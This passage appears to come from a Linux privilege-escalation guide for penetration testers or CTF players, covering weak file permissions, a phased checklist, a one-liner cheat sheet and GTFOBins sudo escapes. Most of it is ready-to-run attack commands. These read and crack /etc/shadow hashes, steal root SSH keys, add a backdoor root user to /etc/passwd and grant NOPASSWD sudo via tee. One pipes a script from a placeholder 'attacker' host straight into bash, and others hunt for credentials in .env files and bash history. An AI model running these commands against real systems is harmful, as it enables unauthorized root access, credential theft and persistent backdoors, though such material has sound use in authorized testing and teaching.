# chmod 777 *          → create --reference= filename
# rsync * dst/         → create -e= filename

18. Weak File Permissions

What it means: Misconfigured permissions on critical system files or directories allow a low-priv user to read sensitive data or modify system behavior directly.


# Readable /etc/shadow
[ENUM] ls -la /etc/shadow
# If readable: copy hashes and crack offline
cat /etc/shadow | grep root
hashcat -m 1800 shadow.hash rockyou.txt  # SHA-512
hashcat -m 500  shadow.hash rockyou.txt  # MD5

# Readable /root directory or files
[ENUM] ls -la /root/
[ENUM] ls -la /root/.ssh/
[ENUM] cat /root/.ssh/id_rsa   # copy key, ssh as root

# Readable backup files
[ENUM] find / -name "*.bak" -o -name "*.backup" -o -name "*~" 2>/dev/null
[ENUM] find / -name "shadow.bak" -o -name "passwd.bak" 2>/dev/null

# Sticky bit missing on /tmp (rare now but check)
[ENUM] ls -la / | grep tmp

# World-readable private keys
[ENUM] find / -name "id_rsa" -perm -o+r 2>/dev/null
[ENUM] find / -name "*.pem" -perm -o+r 2>/dev/null

# Check /etc/passwd for password hashes (if shadowing not used)
[ENUM] grep -v "x" /etc/passwd   # entries without 'x' have hash in passwd

19. Complete PrivEsc Checklist

PHASE 1 — AUTOMATED (Do First): ☐ Run LinPEAS and save output ☐ Run pspy64 for 3-5 mins (catch cron jobs) ☐ Run linux-exploit-suggester for kernel CVEs

PHASE 2 — QUICK WINS (Check in Order): ☐ sudo -l → check for NOPASSWD entries → GTFOBins ☐ find / -perm -4000 2>/dev/null → check SUID → GTFOBins ☐ id → check groups (docker, lxd, disk, adm) ☐ cat /etc/crontab && ls /etc/cron* → writable scripts? ☐ getcap -r / 2>/dev/null → check capabilities

PHASE 3 — CREDENTIALS: ☐ cat ~/.bash_history → look for passwords ☐ cat /etc/mysql/debian.cnf → MySQL root password ☐ find /var/www -name ".php" → web app credentials ☐ find / -name ".env" 2>/dev/null → env credential files ☐ cat /home//.ssh/id_rsa → SSH keys

PHASE 4 — DEEPER CHECKS: ☐ find / -writable -type f 2>/dev/null → writable critical files ☐ ls -la /etc/passwd /etc/shadow /etc/sudoers → weak perms ☐ showmount -e localhost → NFS shares ☐ ls -la /var/www / /opt /srv → interesting directories ☐ ps aux | grep root → services running as root + versions

PHASE 5 — KERNEL EXPLOITS (Last Resort): ☐ uname -r → check against known CVEs ☐ DirtyCow (< 4.8.3), DirtyPipe (5.8 - 5.16.11) ☐ PwnKit (pkexec < 0.105) ☐ Baron Samedit (sudo < 1.9.5p2)


20. Cheat Sheet

One-Liner Reference

# Full enum run
id; whoami; uname -a; cat /etc/os-release; sudo -l; find / -perm -4000 2>/dev/null; getcap -r / 2>/dev/null

# SUID find
find / -perm -u=s -type f 2>/dev/null

# Writable files
find / -writable -type f 2>/dev/null | grep -v proc

# Writable dirs
find / -perm -o+w -type d 2>/dev/null | grep -v proc

# SUID bash shell
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p

# Add root user to /etc/passwd
echo 'hacker:$1$hack$TnyXXuMcJbFJLMZKQn4sF0:0:0:hacker:/root:/bin/bash' >> /etc/passwd && su hacker

# LD_PRELOAD compile
gcc -fPIC -shared -nostartfiles -o /tmp/pre.so /tmp/pre.c

# DirtyPipe quick check
uname -r | grep -E "5\.(8|9|10|11|12|13|14|15|16)"

# pspy quick launch
chmod +x pspy64 && ./pspy64 -pf -i 1000 2>/dev/null | grep "UID=0"

# Transfer linpeas
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

GTFOBins Quick Reference

sudo vim → vim -c ':!bash'
sudo find → find . -exec /bin/bash ; -quit
sudo python → python -c 'import os; os.system("/bin/bash")'
sudo awk → awk 'BEGIN {system("/bin/bash")}'
sudo less → !/bin/bash
sudo man → !/bin/bash
sudo tar → tar -cf /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip → zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
sudo perl → perl -e 'exec "/bin/bash";'
sudo ruby → ruby -e 'exec "/bin/bash"'
sudo php → php -r "system('/bin/bash');"
sudo curl → curl http://attacker/root.sh | bash
sudo tee → echo "hacker ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers
sudo nano → ^R^X then: bash

← Linux top ↑